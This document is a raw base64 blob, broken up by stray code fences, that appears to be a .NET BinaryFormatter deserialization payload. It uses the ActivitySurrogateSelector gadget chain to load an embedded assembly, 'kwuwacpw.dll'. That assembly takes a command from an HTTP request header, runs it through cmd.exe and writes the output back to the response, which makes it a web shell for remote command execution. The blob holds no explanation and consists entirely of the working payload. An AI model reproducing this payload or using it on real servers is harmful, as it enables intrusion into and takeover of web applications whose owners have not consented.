pemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkH
AAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzd
GVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbC
wgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25
lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9n
YXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZ
XJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACR
MAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAA
JGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbGxl
Y3Rpb25zLkhhc2h0YWJsZQcAAAAKTG9hZEZhY3RvcgdWZXJzaW9uCENvbXBhcmVyEEhhc2hDb2RlUHJvd
mlkZXIISGFzaFNpemUES2V5cwZWYWx1ZXMAAAMDAAUFCwgcU3lzdGVtLkNvbGxlY3Rpb25zLklDb21wYX
JlciRTeXN0ZW0uQ29sbGVjdGlvbnMuSUhhc2hDb2RlUHJvdmlkZXII7FE4PwIAAAAKCgMAAAAJHwAAAAk
gAAAADw0AAAAAEAAAAk1akAADAAAABAAAAP//AAC4AAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluI
ERPUyBtb2RlLg0NCiQAAAAAAAAAAAAUEUAAEwBAwBrydRkAAAAAAAAAAAADgAAIhCwELAAAIAAAABgAAAAAAAN
4mAAAAIAAAAEAAAAAAAABAAIAAAAAIAAAQAAAAAAAAAAABAAAAAAAAAAAAAgAAAAAIAAAAAAAAAADAECFAAAQAAA
QAAAAABAAABAAAAAAAAAAAQAAAAAAAAAAAAAAACQJgAASwAAAABAAACoAgAAAAAAAAAAAAAAAAAAAAAAAAAABg
AAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAgAA
AAAAAAAAAAAAAggAABIAAAAAAAAAAAAAAAudGV4dAAAAOQGAAAAIAAAAAgAAAACAAAAAAAAAAAAAAAAAA
AgAABgLnJzcmMAAACoAgAAAEAAAAAEAAAACgAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAADAAAAABgAAA
AAgAAAA4AAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAwCYAAAAAAAABIAAAAAgAFADAhAABg
BQAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbM
AMAwwAAAAEAABECKAMAAAooBAAACgoGbwUAAApvBgAACgZvBwAACm8IAAAKcwkAAAoLB28KAAAKcgEAAH
BvCwAACgZvDAAACm8NAAAKchEAAHBvDgAACgwHbwoAAApyGQAAcAgoDwAACm8QAAAKB28KAAAKF28RAAA
KB28KAAAKF28SAAAKB28KAAAKFm8TAAAKB28UAAAKJgdvFQAACm8WAAAKDQZvBwAACglvFwAACt4DJt4A
Bm8HAAAKbxgAAAoGbwcAAApvGQAACioAARAAAAAAIgCHqQADDgAAAUJTSkIBAAEAAAAAAAAwAAAB2NC4wL
jMwMzE5AAAAAAUAbAAAALwBAAAjfgAAKAIAAHQCAAAjU3RyaW5ncwAAAACcBAAAJAAAACNVUwDABAAAEA
AAACNHVUlEAAAA0AQAAJAAAAAjQmxvYgAAAAAAAAAAACAAABRxQCAAkAAAAA+iUzABYAAAEAAAAOAAAAAgA
AAAEAAAAZAAAAAgAAAAEAAAABAAAAAwAAAAAACgABAAAAAAAGACkAIgAGAFYANgAGAHYANgAKAKgAnQAK
AMAAnQAKAOgAnQAOABsBCAEOACMBCAEKAE8BnQAOAIYBZwEGAK8BIgAGACQCGgIGAEQCGgIGAGkCIgAAA
AAAAQAAAAAAAAQABAAAAEAAXAAAABQABAAEAUCAAAAAAhhgwAAoAAQARADAADgAZADAACgAJADAACgAhAL
QAHAAhANIAIQApAN0ACgAhAPUAJgAxAAIBCgA5ADAACgA5ADQBKwBBAEIBMAAhAFsBNQBJAJoBOgBRAKY
BPwBZALYBRABBAL0BMABBAMsBSgBBAOYBSgBBAAACSgA5ABQCTwA5ADECUwBpAE8CWAAxAFkCMAAxAF8C
CgAxAGUCCgAuAAsAZQAuABMAbgBcAASAAAAAAAAAAAAAAAAAAAAAAAAJQAAAAEAAAAAAAAAAAAAAABABkAA
AAAAAQAAAAAAAAAAAAAAABMAnQAAAAAABAAAAAAAAAAAAAAAAAQAiAAAAAAAAAAAA8TW9kdWxlPgBrd3V3YW
Nwdy5kbGwARQBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AC5jdG9yAFN5c3RlbS5SdW50aW1lLkNvbXBpbGV
yU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0
eUF0dHJpYnV0ZQBrd3V3YWNwdwBTeXN0ZW0uV2ViAEh0dHBDb250ZXh0AGdldF9DdXJyZW50AEh0dHBTZ
XJ2ZXJVdGlsaXR5AGdldF9TZXJ2ZXIAQ2xlYXJFcnJvcgBIdHRwUmVzcG9uc2UAZ2V0X1Jlc3BvbnNlAE
NsZWFyAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAFByb2Nlc3NTdGFydEluZm8AZ2V0X1N0YXJ0SW5
mbwBzZXRfRmlsZU5hbWUASHR0cFJlcXVlc3QAZ2V0X1JlcXVlc3QAU3lzdGVtLkNvbGxlY3Rpb25zLlNw
ZWNpYWxpemVkAE5hbWVWYWx1ZUNvbGxlY3Rpb24AZ2V0X0hlYWRlcnMAZ2V0X0l0ZW0AU3RyaW5nAENvb
mNhdABzZXRfQXJndW1lbnRzAHNldF9SZWRpcmVjdFN0YW5kYXJkT3V0cHV0AHNldF9SZWRpcmVjdFN0YW
5kYXJkRXJyb3IAc2V0X1VzZVNoZWxsRXhlY3V0ZQBTdGFydABTeXN0ZW0uSU8AU3RyZWFtUmVhZGVyAGd
ldF9TdGFuZGFyZE91dHB1dABUZXh0UmVhZGVyAFJlYWRUb0VuZABXcml0ZQBGbHVzaABFbmQARXhjZXB0
aW9uAAAAD2MAbQBkAC4AZQB4AGUAAAdjAG0AZAAAAy8AYwAgAAAAAAAA2IZXU/G1oT7AM+EyvNpdOAAi3e
lxWGTTgiQMgAAEEIAEBCAiwP19/EdUKOgQAABIRBCAAEhUEIAASGQQgABIhBCABAQ4EIAASJQQgABIpBC
ABDg4FAAIODg4EIAEBAgMgAAIEIAASMQMgAA4IBwQSERIdDg4IAQAIAAAAAAAeAQABAFQCFldyYXBOb25
FeGNlcHRpb25UaHJvd3MBAAAAuCYAAAAAAAAAAAAAAAAziYAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAm
```

```
AAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAA
EAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAATAIAAAAAAAAAAAAAATAIOAAAAVgBTAF8
AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAA
BAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAc
gBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBKwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbw
AAAIgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwB
uAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAAPAAN
AAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABrAHcAdQB3AGEAYwBwAHcALgBkAGwAbAAAAAAAKAACA
AEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAIAAAAEQADQABAE8AcgBpAGcAaQBuAGEAbABGAG
kAbABlAG4AYQBtAGUAAABrAHcAdQB3AGEAYwBwAHcALgBkAGwAbAAAAAAANAAIAAEAUAByAG8AZAB1AGM
AdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYA
ZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAACAAAAwAAADgNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDwAAAB9TeXN0ZW0uVW5pdHlTZXJ
pYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBiEAAAD+AVN5
c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtL
kJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZX
lUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGl
iLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYx
OTM0ZTA4OV1dBAAAAAYiAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1d
HJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAQAAAABwAAAAkDAAAACgkkAAAACggIAA
AAAoICAEAAAABEQAAAA8AAAAGJQAAAPUCU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEV
udW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZl
cnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlM
Dg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG
1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc
3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWws
IFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABASAAAABwAAAAkEAAAACgkoA
AAACggIAAAAAoICAEAAAABEwAAAA8AAAAGKQAAAN8DU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZV
NlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWV
yYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0
cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuM
C4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3
RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiw
gVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkz
NGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZ
XlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFAAAAACAAAAJBQAAAAoJLAAAAAoICAAAAA
AKCAgBAAAAARUAAAAPAAAABi0AAADmAlN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnV
tZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtb
```

```
U3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVib
GljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdW
x0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uVHlwZSw
gbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1i
NzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFgAAAACAAAAJBgAAAAkwAAAACTEAAAAKCAgAAAAACggIA
QAAAAEXAAAADwAAAAYyAAAA7wFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYW
JsZUl0ZXJhdG9yYDJbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJ
lPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2JqZWN0LCBt
c2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N
2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABAYAAAABwAAAAkHAAAACgk1AAAACggIAAAAAAoICAEAAAABGQ
AAAA8AAAAGNgAAAClTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlBhZ2VkRGF0YVNvdXJjZQQAAAAGNwA
AAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9r
ZW49YjAzZjVmN2YxMWQ1MGEzYRAaAAAABwAAAAkIAAAACAgAAAAACAgKAAAACAEACAEACAEACAgAAAAAA
RsAAAAPAAAABjkAAAApU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5EZXNpZ25lclZlcmIEAAAABj
oAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW4
9Yjc3YTVjNTYxOTM0ZTA4ORAcAAAABQAAAA0CCTsAAAAICAMAAAAJCwAAAAEdAAAADwAAAAY9AAAANFN5
c3RlbS5SdW50aW1lLlJlbW90aW5nLkNoYW5uZWxzLkFnZ3JlZ2F0ZURpY3Rpb25hcnkEAAAABj4AAABLb
XNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNz
dhNWM1NjE5MzRlMDg5EB4AAAABAAAACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAAACAAAABkEAAAA
ACUEAAAAEJAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdt
ZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c
3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAEoAAAAJA
AAAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAAJSQAAAAExAAAAJAAAAAl
KAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJTwAAAARCAAAAMFN5c3RlbS5E
ZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeeQcAAAAEdHlwZQhhc3NlbWJseeQZ0Y
XJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbn
RyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BlA
AAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAs
IEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZ
WZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYW
wsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABlIAAAAaU3lzdGVtLlJ
lZmxlY3Rpb24uQXNzZW1ibHkGUwAAARMb2FkCgRDAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlcklu
Zm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0d
XJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cG
VbXQlTAAAACT4AAAAJUgAAAAZWAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVt
dKQZXAAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoU3lzdGVtLkJ5dGVbXSkIAAAACgFE
AAAAQgAAAAZYAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb
3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNW
M1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGV
tLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5
VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlP
W5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAACVIAAAAGWw
AAAAhHZXRUeXBlcwoBRQAAAEMAAAAJWwAAAAk+AAAACVIAAAAGXgAAABhTeXN0ZW0uVHlwZVtdIEdldFR
5cGVzKCkGXwAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkIAAAACgFGAAAAQgAAAAZgAAAAtgNTeXN0
ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uV
HlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2
tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV
1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5H
ZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wL
CBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaW
IsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE
5MzRlMDg5XV0JPgAAAAoJPgAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVy
YWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0c
mFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GYwAAAA1HZXRFbnVtZXJhdG9yCgFHAA
AAQwAAAAljAAAACT4AAAAJYgAAAAZmAAAARVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJ
hdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3IoKQZnAAAAlAFTeXN0ZW0uQ29sbGVjdGlvbnMu
```

```
R2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuM
CwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0gR2V0RW51bW
VyYXRvcigpCAAAAAoBSAAAAEIAAAAGaAAAAMACU3lzdGVtLkZ1bmNgM1tbU3lzdGVtLkNvbGxlY3Rpb25
zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4w
LjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2Nvc
mxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1Yz
U2MTkzNGUwODldLFtTeXN0ZW0uQm9vbGVhbiwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHV
yZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZqAAAA
HlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZrAAAACE1vdmVOZXh0CgFJAAAAQwAAAAlrAAAAC
T4AAAAJagAAAAZuAAAAEkJvb2xlYW4gTW92ZU5leHQoKQZvAAAAGVN5c3RlbS5Cb29sZWFuIE1vdmVOZX
h0KCkIAAAACgFKAAAAQgAAAAZwAAAAvQJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2V
uZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwg
Q3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliL
CBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOT
M0ZTA4OV0sW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXR
yYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABnIAAACEAVN5c3Rl
bS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgV
mVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNG
UwODldXQZzAAAAC2dldF9DdXJyZW50CgFLAAAAQwAAAAlzAAAACT4AAAAJcgAAAAZ2AAAAGVN5c3RlbS5
UeXBlIGdldF9DdXJyZW50KCkGdwAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoBTAAAAEIA
AAAGeAAAAMYBU3lzdGVtLkZ1bmNgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wL
jAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS
5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V
5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCT4AAAAKCT4AAAAGegAAABBTeXN0ZW0uQWN0aXZhdG9yBnsA
AAAOQ3JlYXRlSW5zdGFuY2UKAU0AAABDAAAACXsAAAAJPgAAAAl6AAAABn4AAAApU3lzdGVtLk9iamVjd
CBDcmVhdGVJbnN0YW5jZShTeXN0ZW0uVHlwZSkGfwAAAClTeXN0ZW0uT2JqZWN0IENyZWF0ZUluc3Rhbm
